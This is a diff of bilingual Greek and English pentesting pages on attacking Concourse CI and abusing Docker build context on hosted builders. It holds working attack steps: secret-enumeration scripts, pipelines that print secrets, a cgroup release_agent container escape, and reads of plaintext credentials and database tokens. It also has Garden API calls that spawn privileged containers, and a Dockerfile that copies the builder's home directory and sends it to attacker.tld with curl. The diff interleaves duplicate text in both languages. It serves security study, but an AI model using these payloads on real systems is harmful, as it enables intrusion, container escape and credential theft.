fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Containers & Workers
- Λίστα **workers**:
- `fly -t <target> workers`
- Λίστα **containers**:
- `fly -t <target> containers`
- Λίστα **builds** (για να δείτε τι τρέχει):
- `fly -t <target> builds`
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
### Concourse Attacks
@@ -125,83 +131,90 @@ rm /tmp/secrets.txt
#### Secrets and params enumeration
Στην προηγούμενη ενότητα είδαμε πώς μπορείτε να **πάρετε όλα τα ονόματα και τις μεταβλητές των μυστικών** που χρησιμοποιούνται από την pipeline. Οι **μεταβλητές μπορεί να περιέχουν ευαίσθητες πληροφορίες** και το όνομα των **μυστικών θα είναι χρήσιμο αργότερα για να προσπαθήσετε να τα κλέψετε**.
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
#### Session inside running or recently run container
Αν έχετε αρκετά δικαιώματα (**member role ή περισσότερα**) θα μπορείτε να **καταγράψετε pipelines και ρόλους** και απλά να αποκτήσετε μια **session μέσα** στο `<pipeline>/<job>` **container** χρησιμοποιώντας:
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Με αυτές τις άδειες μπορεί να είστε σε θέση να:
- **Κλέψετε τα μυστικά** μέσα στο **container**
- Προσπαθήσετε να **διαφύγετε** στον κόμβο
- Αριθμήσετε/Καταχραστείτε το **cloud metadata** endpoint (από το pod και από τον κόμβο, αν είναι δυνατόν)
With these permissions you might be able to:
#### Δημιουργία/Τροποποίηση Pipeline
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
Αν έχετε αρκετά προνόμια (**ρόλος μέλους ή περισσότερα**) θα μπορείτε να **δημιουργήσετε/τροποποιήσετε νέα pipelines.** Ελέγξτε αυτό το παράδειγμα:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Με την **τροποποίηση/δημιουργία** μιας νέας ροής εργασίας θα είστε σε θέση να:
- **Κλέψετε** τα **μυστικά** (μέσω της εκτύπωσής τους ή μπαίνοντας μέσα στο κοντέινερ και εκτελώντας `env`)
- **Δραπετεύσετε** στη **μονάδα** (δίνοντάς σας αρκετά δικαιώματα - `privileged: true`)
- Αριθμήσετε/Καταχραστείτε το **cloud metadata** endpoint (από το pod και από τη μονάδα)
- **Διαγράψετε** τη δημιουργημένη ροή εργασίας
With the **modification/creation** of a new pipeline you will be able to:
#### Εκτέλεση Προσαρμοσμένης Εργασίας
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
Αυτό είναι παρόμοιο με την προηγούμενη μέθοδο, αλλά αντί να τροποποιήσετε/δημιουργήσετε μια εντελώς νέα ροή εργασίας, μπορείτε **απλώς να εκτελέσετε μια προσαρμοσμένη εργασία** (η οποία πιθανότατα θα είναι πολύ πιο **αόρατη**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Escaping to the node from privileged task
Στις προηγούμενες ενότητες είδαμε πώς να **εκτελέσουμε μια προνομιακή εργασία με το concourse**. Αυτό δεν θα δώσει στο κοντέινερ ακριβώς την ίδια πρόσβαση με την προνομιακή σημαία σε ένα κοντέινερ docker. Για παράδειγμα, δεν θα δείτε τη συσκευή του συστήματος αρχείων του κόμβου στο /dev, οπότε η διαφυγή θα μπορούσε να είναι πιο "πολύπλοκη".
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
Στο παρακάτω PoC θα χρησιμοποιήσουμε τον release_agent για να διαφύγουμε με κάποιες μικρές τροποποιήσεις:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -259,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> Όπως μπορεί να έχετε παρατηρήσει, αυτό είναι απλώς μια [**κανονική απελευθέρωση_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) απλά τροποποιώντας τη διαδρομή της εντολής στον κόμβο
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
#### Απελευθέρωση στον κόμβο από ένα Worker container
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
Μια κανονική απελευθέρωση_agent escape με μια μικρή τροποποίηση είναι αρκετή για αυτό:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -291,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Escaping to the node from the Web container
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
```bash
cat /concourse-auth/local-users
test:test
@@ -304,9 +321,11 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Μπορείτε να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να **συνδεθείτε στον διακομιστή ιστού** και να **δημιουργήσετε ένα προνομιακό κοντέινερ και να διαφύγετε στον κόμβο**.
Στο περιβάλλον μπορείτε επίσης να βρείτε πληροφορίες για **πρόσβαση στην βάση δεδομένων postgresql** που χρησιμοποιεί το concourse (διεύθυνση, **όνομα χρήστη**, **κωδικό πρόσβασης** και βάση δεδομένων μεταξύ άλλων πληροφοριών):
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -327,35 +346,39 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Κατάχρηση Υπηρεσίας Garden - Όχι μια πραγματική Επίθεση
#### Abusing Garden Service - Not a real Attack
> [!WARNING]
> Αυτές είναι απλώς μερικές ενδιαφέρουσες σημειώσεις σχετικά με την υπηρεσία, αλλά επειδή ακούει μόνο σε localhost, αυτές οι σημειώσεις δεν θα έχουν καμία επίδραση που δεν έχουμε ήδη εκμεταλλευτεί πριν.
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
Από προεπιλογή, κάθε concourse worker θα εκτελεί μια [**Garden**](https://github.com/cloudfoundry/garden) υπηρεσία στη θύρα 7777. Αυτή η υπηρεσία χρησιμοποιείται από τον Web master για να υποδείξει στον worker **τι χρειάζεται να εκτελέσει** (να κατεβάσει την εικόνα και να εκτελέσει κάθε εργασία). Αυτό ακούγεται αρκετά καλό για έναν επιτιθέμενο, αλλά υπάρχουν μερικές καλές προστασίες:
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
- Είναι απλώς **εκτεθειμένο τοπικά** (127..0.0.1) και νομίζω ότι όταν ο worker αυθεντικοποιείται απέναντι στον Web με την ειδική υπηρεσία SSH, δημιουργείται μια σήραγγα ώστε ο web server να μπορεί να **επικοινωνεί με κάθε υπηρεσία Garden** μέσα σε κάθε worker.
- Ο web server **παρακολουθεί τα εκτελούμενα κοντέινερ κάθε λίγα δευτερόλεπτα**, και τα **αναπάντεχα** κοντέινερ **διαγράφονται**. Έτσι, αν θέλετε να **τρέξετε ένα προσαρμοσμένο κοντέινερ** πρέπει να **παρέμβετε** στην **επικοινωνία** μεταξύ του web server και της υπηρεσίας garden.
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
Οι concourse workers εκτελούνται με υψηλά δικαιώματα κοντέινερ:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
Ωστόσο, τεχνικές όπως το **mounting** της συσκευής /dev του κόμβου ή του release_agent **δεν θα λειτουργήσουν** (καθώς η πραγματική συσκευή με το filesystem του κόμβου δεν είναι προσβάσιμη, μόνο μία εικονική). Δεν μπορούμε να έχουμε πρόσβαση σε διαδικασίες του κόμβου, οπότε η διαφυγή από τον κόμβο χωρίς exploits πυρήνα γίνεται περίπλοκη.
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
> [!NOTE]
> Στην προηγούμενη ενότητα είδαμε πώς να διαφύγουμε από ένα προνομιούχο κοντέινερ, οπότε αν μπορούμε να **εκτελέσουμε** εντολές σε ένα **προνομιούχο κοντέινερ** που δημιουργήθηκε από τον **τρέχοντα** **εργάτη**, θα μπορούσαμε να **διαφύγουμε στον κόμβο**.
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
Σημειώστε ότι παίζοντας με το concourse παρατήρησα ότι όταν δημιουργείται ένα νέο κοντέινερ για να τρέξει κάτι, οι διαδικασίες του κοντέινερ είναι προσβάσιμες από το κοντέινερ του εργάτη, οπότε είναι σαν ένα κοντέινερ να δημιουργεί ένα νέο κοντέινερ μέσα σε αυτό.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
**Είσοδος σε ένα τρέχον προνομιούχο κοντέινερ**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -368,26 +391,30 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Δημιουργία ενός νέου προνομιούχου κοντέινερ**
Μπορείτε πολύ εύκολα να δημιουργήσετε ένα νέο κοντέινερ (απλώς εκτελέστε ένα τυχαίο UID) και να εκτελέσετε κάτι σε αυτό:
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Ωστόσο, ο διακομιστής ιστού ελέγχει κάθε λίγα δευτερόλεπτα τα κοντέινερ που εκτελούνται, και αν ανακαλυφθεί κάποιο απροσδόκητο, θα διαγραφεί. Καθώς η επικοινωνία πραγματοποιείται μέσω HTTP, θα μπορούσατε να παραποιήσετε την επικοινωνία για να αποφύγετε τη διαγραφή απροσδόκητων κοντέινερ:
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -409,8 +436,11 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Αναφορές
## References
- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,26 @@
# Δημιουργία Εργαστηρίου Concourse
# Concourse Lab Creation
{{#include ../../banners/hacktricks-training.md}}
## Περιβάλλον Δοκιμών
## Testing Environment
### Εκτέλεση Concourse
### Running Concourse
#### Με Docker-Compose
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
Αυτό το αρχείο docker-compose απλοποιεί την εγκατάσταση για να κάνετε μερικές δοκιμές με το concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
Μπορείτε να κατεβάσετε τη γραμμή εντολών `fly` για το λειτουργικό σας σύστημα από το διαδίκτυο στο `127.0.0.1:8080`
#### Με Kubernetes (Συνιστάται)
You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
#### With Kubernetes (Recommended)
You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
Μπορείτε να αναπτύξετε εύκολα το concourse σε **Kubernetes** (π.χ. σε **minikube**) χρησιμοποιώντας το helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,90 +31,94 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
Αφού δημιουργήσετε το περιβάλλον concourse, μπορείτε να δημιουργήσετε ένα μυστικό και να δώσετε πρόσβαση στο SA που εκτελείται στο concourse web για να έχει πρόσβαση στα μυστικά K8s:
After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: read-secrets
name: read-secrets
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get"]
resources: ["secrets"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: read-secrets-concourse
name: read-secrets-concourse
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: read-secrets
subjects:
- kind: ServiceAccount
name: concourse-release-web
namespace: default
name: concourse-release-web
namespace: default
---
apiVersion: v1
kind: Secret
metadata:
name: super
namespace: concourse-release-main
name: super
namespace: concourse-release-main
type: Opaque
data:
secret: MWYyZDFlMmU2N2Rm
secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
### Δημιουργία Pipeline
Ένα pipeline αποτελείται από μια λίστα [Jobs](https://concourse-ci.org/jobs.html) που περιέχει μια ταξινομημένη λίστα [Steps](https://concourse-ci.org/steps.html).
### Create Pipeline
### Βήματα
A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
Μπορούν να χρησιμοποιηθούν διάφοροι τύποι βημάτων:
### Steps
- **το** [**`task` βήμα**](https://concourse-ci.org/task-step.html) **εκτελεί μια** [**εργασία**](https://concourse-ci.org/tasks.html)
- το [`get` βήμα](https://concourse-ci.org/get-step.html) ανακτά μια [πόρο](https://concourse-ci.org/resources.html)
- το [`put` βήμα](https://concourse-ci.org/put-step.html) ενημερώνει μια [πόρο](https://concourse-ci.org/resources.html)
- το [`set_pipeline` βήμα](https://concourse-ci.org/set-pipeline-step.html) ρυθμίζει ένα [pipeline](https://concourse-ci.org/pipelines.html)
- το [`load_var` βήμα](https://concourse-ci.org/load-var-step.html) φορτώνει μια τιμή σε μια [τοπική μεταβλητή](https://concourse-ci.org/vars.html#local-vars)
- το [`in_parallel` βήμα](https://concourse-ci.org/in-parallel-step.html) εκτελεί βήματα παράλληλα
- το [`do` βήμα](https://concourse-ci.org/do-step.html) εκτελεί βήματα διαδοχικά
- ο [`across` τροποποιητής βήματος](https://concourse-ci.org/across-step.html#schema.across) εκτελεί ένα βήμα πολλές φορές; μία φορά για κάθε συνδυασμό τιμών μεταβλητών
- το [`try` βήμα](https://concourse-ci.org/try-step.html) προσπαθεί να εκτελέσει ένα βήμα και επιτυγχάνει ακόμη και αν το βήμα αποτύχει
Several different type of steps can be used:
Κάθε [βήμα](https://concourse-ci.org/steps.html) σε ένα [σχέδιο εργασίας](https://concourse-ci.org/jobs.html#schema.job.plan) εκτελείται σε **δικό του κοντέινερ**. Μπορείτε να εκτελέσετε οτιδήποτε θέλετε μέσα στο κοντέινερ _(δηλαδή, να εκτελέσετε τις δοκιμές μου, να εκτελέσετε αυτό το bash script, να κατασκευάσετε αυτή την εικόνα, κ.λπ.)_. Έτσι, αν έχετε μια εργασία με πέντε βήματα, το Concourse θα δημιουργήσει πέντε κοντέινερ, ένα για κάθε βήμα.
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
Επομένως, είναι δυνατόν να υποδείξετε τον τύπο κοντέινερ που χρειάζεται να εκτελείται κάθε βήμα.
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
Therefore, it's possible to indicate the type of container each step needs to be run in.
### Simple Pipeline Example
### Απλό Παράδειγμα Pipeline
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
sleep 1000
echo "$SUPER_SECRET"
params:
SUPER_SECRET: ((super.secret))
```
```bash
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
Ελέγξτε **127.0.0.1:8080** για να δείτε τη ροή της pipeline.
### Bash script με ροή εξόδου/εισόδου
Check **127.0.0.1:8080** to see the pipeline flow.
Είναι δυνατόν να **αποθηκεύσετε τα αποτελέσματα μιας εργασίας σε ένα αρχείο** και να δηλώσετε ότι είναι μια έξοδος και στη συνέχεια να δηλώσετε την είσοδο της επόμενης εργασίας ως την έξοδο της προηγούμενης εργασίας. Αυτό που κάνει το concourse είναι να **τοποθετεί τον κατάλογο της προηγούμενης εργασίας στην νέα εργασία όπου μπορείτε να έχετε πρόσβαση στα αρχεία που δημιουργήθηκαν από την προηγούμενη εργασία**.
### Bash script with output/input pipeline
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
### Triggers
Δεν χρειάζεται να ενεργοποιείτε τις εργασίες χειροκίνητα κάθε φορά που χρειάζεται να τις εκτελέσετε, μπορείτε επίσης να τις προγραμματίσετε να εκτελούνται κάθε φορά:
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
- Κάποιος χρόνος περνά: [Time resource](https://github.com/concourse/time-resource/)
- Σε νέες commits στο κύριο branch: [Git resource](https://github.com/concourse/git-resource)
- Νέα PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Λάβετε ή σπρώξτε την τελευταία εικόνα της εφαρμογής σας: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
Ελέγξτε ένα παράδειγμα YAML pipeline που ενεργοποιείται σε νέες commits στο master στο [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,101 +0,0 @@
# Κατάχρηση του Docker Build Context σε Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## Σύντομη περίληψη
Αν μια πλατφόρμα CI/CD ή ένας hosted builder επιτρέπει στους συνεισφέροντες να καθορίζουν τη διαδρομή του Docker build context και τη διαδρομή του Dockerfile, συχνά μπορείτε να ορίσετε το context σε έναν γονικό κατάλογο (π.χ. "..") και να κάνετε αρχεία του host μέρος του build context. Έπειτα, ένα Dockerfile υπό τον έλεγχο του επιτιθέμενου μπορεί να κάνει COPY και να exfiltrate μυστικά που βρέθηκαν στο home του χρήστη του builder (π.χ. ~/.docker/config.json). Κλεμμένα registry tokens μπορεί επίσης να λειτουργήσουν ενάντια στα control-plane APIs του provider, επιτρέποντας org-wide RCE.
## Επιφάνεια επίθεσης
Πολλές υπηρεσίες hosted builder/registry κάνουν περίπου τα εξής όταν χτίζουν user-submitted images:
- Διαβάζουν ένα repo-level config που περιλαμβάνει:
- διαδρομή του build context (αποστέλλεται στον Docker daemon)
- διαδρομή Dockerfile σχετική με αυτό το context
- Αντιγράφουν τον υποδειχθέντα κατάλογο build context και το Dockerfile στον Docker daemon
- Κατασκευάζουν το image και το τρέχουν ως hosted service
Εάν η πλατφόρμα δεν κανονικοποιεί και δεν περιορίζει το build context, ένας χρήστης μπορεί να το ορίσει σε μια τοποθεσία έξω από το repository (path traversal), προκαλώντας αρχεία του host που είναι αναγνώσιμα από τον build χρήστη να γίνουν μέρος του build context και να είναι διαθέσιμα για COPY στο Dockerfile.
Συνήθεις πρακτικοί περιορισμοί που παρατηρούνται:
- Το Dockerfile πρέπει να βρίσκεται εντός της επιλεγμένης διαδρομής context και η διαδρομή του πρέπει να είναι γνωστή εκ των προτέρων.
- Ο build χρήστης πρέπει να έχει δικαιώματα ανάγνωσης στα αρχεία που περιλαμβάνονται στο context· ειδικά αρχεία συσκευών μπορούν να προκαλέσουν αποτυχία στην αντιγραφή.
## PoC: Path traversal via Docker build context
Παράδειγμα κακόβουλης server config που δηλώνει ένα Dockerfile εντός του context του γονικού καταλόγου:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Σημειώσεις:
- Η χρήση ".." συχνά επιλύεται στον κατάλογο home του χρήστη builder (π.χ. /home/builder), ο οποίος συνήθως περιέχει ευαίσθητα αρχεία.
- Τοποθετήστε το Dockerfile κάτω από το όνομα καταλόγου του repo (π.χ. repo "test" → test/Dockerfile) ώστε να παραμένει εντός του επεκταμένου γονικού πλαισίου.
## PoC: Dockerfile για την εισαγωγή και exfiltrate του host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builders $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Στόχοι που συνήθως ανακτώνται από το $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Συμβουλή: Ακόμη και με ένα .dockerignore στο repository, η ευπαθής επιλογή context από την πλευρά της πλατφόρμας εξακολουθεί να καθορίζει τι αποστέλλεται στον daemon. Εάν η πλατφόρμα αντιγράφει το επιλεγμένο path στον daemon πριν αξιολογήσει το .dockerignore του repo σας, αρχεία του host μπορεί να εκτεθούν.
## Pivot στο cloud με overprivileged tokens (παράδειγμα: Fly.io Machines API)
Κάποιες πλατφόρμες εκδίδουν ένα ενιαίο bearer token που είναι χρήσιμο τόσο για το container registry όσο και για το control-plane API. Εάν exfiltrate ένα registry token, δοκιμάστε το στο provider API.
Παραδείγματα κλήσεων API προς το Fly.io Machines API χρησιμοποιώντας το κλεμμένο token από ~/.docker/config.json:
Απαρίθμηση apps σε ένα org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
